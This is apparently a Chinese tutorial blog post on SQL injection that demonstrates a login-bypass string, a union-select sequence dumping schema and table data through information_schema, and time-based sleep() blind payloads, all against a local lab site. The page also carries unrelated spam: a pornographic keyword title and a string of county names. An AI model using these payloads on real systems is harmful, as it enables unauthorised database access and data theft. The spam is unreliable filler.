中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

SQL注入的原理介紹

發布時間:2021-09-17 20:39:54 來源:億速云 閱讀:201 作者:chen 欄目:網絡管理

這篇文章主要講解了“SQL注入的原理介紹”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“SQL注入的原理介紹”吧!

原理介紹

當Web應用向后臺數據庫傳遞SQL語句進行數據庫操作時。如果對用戶輸入的參數沒有經過嚴格的過濾處理,那么攻擊者就可以構造特殊的SQL語句,直接輸入數據庫進行執行,獲取或修改數據庫中的數據。

SQL注入漏洞有兩個關鍵條件:

  • 用戶能控制輸入的內容

  • web應用把用戶輸入的內容帶入到數據庫中執行

接下來將用自己本地搭建的環境來演示SQL注入。。。。

別想了,我怎么可能把真實網站的注入過程寫在博客上,不想請喝茶

一、萬能密碼

打開網站的登陸界面,我們沒有密碼是無法登陸的但是由于網站開發者在開發網站時沒有對登陸進行過濾,導致存在萬能密碼漏洞

SQL注入的原理介紹

輸入萬能密碼 root ‘ or 1 = 1#

SQL注入的原理介紹

點擊登陸,就會提示我們登陸成功!

SQL注入的原理介紹

看,我們已經登陸進來了!

SQL注入的原理介紹

原理

登陸語句是這樣的:

SELECT * FROM admin WHERE Username=’root’ and Password =’pass’

查詢admi表里所有Username =我們輸入的Username 并且Password =我們輸入的Password的結果

只要結果不為空就為真,也就是登陸成功

我們輸入萬能密碼root ‘ or 1 = 1# 構造

SELECT * FROM admin WHERE Username=’root ‘ or 1 = 1#’and Password =’pass’

通過注釋符號#注釋掉and Password =’pass,在root’ or 1=1 的基礎上使結果為真成立。

SQL注入

SQL注入分類

SQL注入,從代碼角度來看:

分為數字型和字符型,又根據字符型和數字型可以外加()和字符型能使用雙引號和單引號

分為以下幾種:

1、selent * from users where id=1純數字

2、selent * from users where id=’1’只加單引號

3、selent * from users where id=”1”只加雙引號

4、selent * from users where (id=1)數字加括號

5、selent * from users where (id=’1’)數字加單引號

6、selent * from users where (id=”1”)數字加雙引號

如果寫的不夠清晰,我們可以用一張圖來解釋

SQL注入的原理介紹

實例演示

打開搭建好的環境,點擊打開一個頁面來測試有沒有SQL注入

SQL注入的原理介紹

http://127.0.0.1/bookshop/show_pro.php

?id=55’ 出現問題,可能存在注入

SQL注入的原理介紹

http://127.0.0.1/bookshop/show_pro.php

?id=55’ %23 加%23后恢復正常,可以判斷為’1’注入

SQL注入的原理介紹

http://127.0.0.1/bookshop/show_pro.php

?id=55’ order by 1 %23 使用order by 1 2 3 4 進行測試,發現查詢的結果為12列,再這里我只顯示結尾截圖,方便后續使用union select

SQL注入的原理介紹

http://127.0.0.1/bookshop/show_pro.php

?id=55’ union select 1,2,3,4,5,6,7,8,9,10,11,12 %23 發現頁面不顯示union select的內容,嘗試使用limit或者是將前邊的內容改為空

SQL注入的原理介紹

http://127.0.0.1/bookshop/show_pro.php

?id=55’ union select 1,2,3 limit 1,1 %23

http://127.0.0.1/bookshop/show_pro.php

?id=55’ union select 1,2,3 %23 可以顯示union select后的內容,8是顯示結果的地方

SQL注入的原理介紹

http://127.0.0.1/bookshop/show_pro.php

?id=-55’union select 1,2,3,4,5,6,7,user(),9,10,11,12 %23 把8位改為user()和database()發現可以顯示用戶和數據庫

SQL注入的原理介紹

SQL注入的原理介紹

http://127.0.0.1/bookshop/show_pro.php

?id=-55’union select 1,2,3,4,5,6,7,(select group_concat(schema_name) from information_schema.SCHEMATA),9,10,11,12 %23

查詢所有的庫名字

SQL注入的原理介紹

http://127.0.0.1/bookshop/show_pro.php

?id=-55’union select 1,2,3,4,5,6,7,(select group_concat(table_name) from information_schema.TABLES where table_schema = ‘test’),9,10,11,12 %23

查詢出test庫中所有的表名

SQL注入的原理介紹

http://127.0.0.1/bookshop/show_pro.php

?id=-55’union select 1,2,3,4,5,6,7,(select group_concat(column_name) from information_schema.COLUMNS where table_schema = ‘test’ and table_name = ‘admin’),9,10,11,12 %23 查詢處test庫中admin表所有的字段名字

SQL注入的原理介紹

http://127.0.0.1/bookshop/show_pro.php

?id=-55’union select 1,2,3,4,5,6,7,(select group_concat(news) from test.admin ),9,10,11,12 %23

查詢security庫中users表中的數據,由于這個表中沒有數據所以不會有顯示,但在真實環境中是會看到內容的

SQL注入的原理介紹

延時盲注

延時盲注會有以下幾種情況,暫不做演示

1’ and sleep(5) %23

1’) and sleep(5) %23

1’)) and sleep(5) %23

1 and sleep(5) %23

1) and sleep(5) %23

1)) and sleep(5) %23

1” and sleep(5) %23

1”) and sleep(5) %23

1”)) and sleep(5) %23

感謝各位的閱讀,以上就是“SQL注入的原理介紹”的內容了,經過本文的學習后,相信大家對SQL注入的原理介紹這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

sql
AI

丹巴县| 玉环县| 岳池县| 广东省| 资源县| 耿马| 泗阳县| 绩溪县| 西乌珠穆沁旗| 商南县| 佛山市| 博乐市| 嘉禾县| 陇川县| 凤城市| 安徽省| 隆昌县| 棋牌| 灯塔市| 通河县| 上思县| 阿图什市| 三明市| 新郑市| 成武县| 汝阳县| 邵武市| 久治县| 高台县| 江山市| 德令哈市| 永兴县| 铅山县| 含山县| 永登县| 开平市| 龙岩市| 四子王旗| 汉沽区| 饶阳县| 海阳市|